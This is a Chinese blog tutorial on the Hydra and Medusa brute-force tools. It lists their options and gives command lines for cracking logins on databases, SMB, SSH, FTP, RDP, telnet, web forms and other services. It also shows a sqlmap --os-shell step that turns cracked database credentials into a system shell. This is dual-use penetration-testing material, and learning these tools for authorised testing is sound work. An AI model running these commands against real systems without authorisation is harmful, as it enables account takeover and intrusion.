暴力破解工具hydra与Medusa

---恢复内容开始---

暴力破解工具hydra与Medusa

 

内容

(一)hadry

(二)Medusa

 

 

 

(一)hydra

选项

-l LOGIN 指定破解的用户名称,对特定用户破解。
-L FILE 从文件中加载用户名进行破解。
-p PASS小写p指定密码破解,少用,一般是采用密码字典。
-P FILE 大写字母P,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-t TASKS 同时运行的连接的线程数,每一台主机默认为16。
-M FILE 指定服务器目标列表文件一行一条
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-v / -V 显示详细过程。
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-U       服务模块使用细节
-h       更多的命令行选项(完整的帮助)
server    目标服务器名称或者IP(使用这个或-M选项)
service   指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等
OPT       一些服务模块支持额外的输入(-U用于模块的帮助)

  

 

使用

 

图形化界面

xhydra

注意:下面例子都是在命令行下

 

 

破解MySQL密码

数据库一般会提供一个默认的帐户,SQL Server的sa用户,MySQL的root用户,Oracle的System用户等。

假如我们现在破解mysql数据库

hadry -L user.txt -P pass.txt ip mysql

成功后会打印类似如下的信息:[1433][mssql] host:ip  login:sa  password:sql123456

一旦得到数据库密码,一般会做两件事情,一是“拖库”,二是“提权”

如果破解数据库的密码为sql123456,可以利用sqlmap进一步来反弹一个与系统交互的Shell用来提权。命令为:

sqlmap.py -d "mssql://sa:sql123456@ip:1433/master" --os-shell

  

 

windows密码破解

hydra -l 用户名 -p 密码 smb://ip -vV
或者
hydra -l 用户名 -p 密码 smb ip -vV

 

Linux密码破解

hydra -l 用户名 -p 密码 ssh://ip -vV
或者
hydra -l 用户名 -p 密码 ssh ip -vV

 

破解ftp

hydra ip ftp -l 用户名 -P 密码字典 -t 线程数(默认16) -vV

注意:如果你发现目标ftp并不是在21端口,而是在其他端口上,可以使用-s参数指定正确的端口,其他服务同样如此。

 

破解teamspeak

hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

  

破解rdp

hydra ip rdp -l administrator -P pass.txt -V

  

破解telnet

hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V

 

破解https

hydra -m /index.php -l muts -P pass.txt ip https

  

破解http-proxy

hydra - l admin -P pass.txt http-proxy://ip

  

破解imap

hydra -L user.txt -p secret 192.168.0.1 imap PLAIN
或者
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

  

 

破解cisco

hydra -P pass.txt ip cisco

hydra -m cloud -P pass.txt ip cisco-enable

  

破解 pop3

hydra -l root -P pass.txt my.pop3.mail pop3

  

get方式提交 破解web登录

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /web/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /web/index.asp

  

 

post方式提交 破解web登录

hydra -l 用户名 -P 密码字典  ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" -V

 

 

在kali上测试dvwa登陆页面

指定登陆成功的返回字符,登陆成功

hydra -l admin -p password  192.168.14.159 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:S=index.php" -V -t 1

 

指定登陆失败的返回字符,登陆失败,因为Login Failed并不是返回在登陆请求的会话中,这时候我们可以换一种思路,指定登陆正确的返回字符

hydra -l admin -p password  192.168.14.159 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login Failed" -V -t 1

 

注意:hydra的表单爆破太过于鸡肋,使用BP爆破更好。

 

 

 

 

 

(二)medusa

hydra的缺点
-稳定性差,程序时常崩溃
-速度控制不好,容易触发服务器屏蔽或锁死机制
-每主机新建进程,没服务新建实例
-大量目标破解时性能差


medusa的特点
-稳定性好
-速度控制得当
-基于线程
-支持模块少于hydra(不支持rdp 远程桌面)
-WEB-Form支持存在缺陷

 

 

参数

-h [TEXT]      目标IP
-H [FILE]      目标主机文件
-u [TEXT]      用户名
-U [FILE]      用户名文件
-p [TEXT]      密码
-P [FILE]      密码文件
-C [FILE]      组合条目文件
-O [FILE]      文件日志信息
-e [n/s/ns]    N意为空密码,S意为密码与用户名相同
-M [TEXT]      模块执行名称
-m [TEXT]      传递参数到模块
-d             显示所有的模块名称
-n [NUM]       使用非默认端口
-s             启用SSL
-r [NUM]       重试间隔时间,默认为3秒
-t [NUM]       设定线程数量
-L             并行化,每个用户使用一个线程
-f             在任何主机上找到第一个账号/密码后,停止破解
-q             显示模块的使用信息
-v [NUM]       详细级别(0-6)
-w [NUM]       错误调试级别(0-10)
-V             显示版本
-Z [TEXT]      继续扫描上一次

  

 

使用

 

使用语法

Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]

  

破解smbnt

medusa -M smbnt -h 192.168.14.155 -u Administrator -P mutou01.txt -e ns 
或者
medusa -M smbnt -C combo.txt
combo文件的格式如下:
192.168.0.20:testuser:pass
192.168.0.40:user1:foopass

注意:使用“-e ns”参数,尝试空密码及账号为密码

 

破解MSSQL

medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql

  

破解SSH

medusa -M ssh -H host.txt -U user.txt -p password

  

输出为日志文件,使用-O参数

medusa -h ip -u sa -P /pass.txt -t 5 -f -e ns -M mssql -O /ap.txt

  

 

posted @ 2018-12-12 12:11  -零  阅读(5607)  评论(0编辑  收藏  举报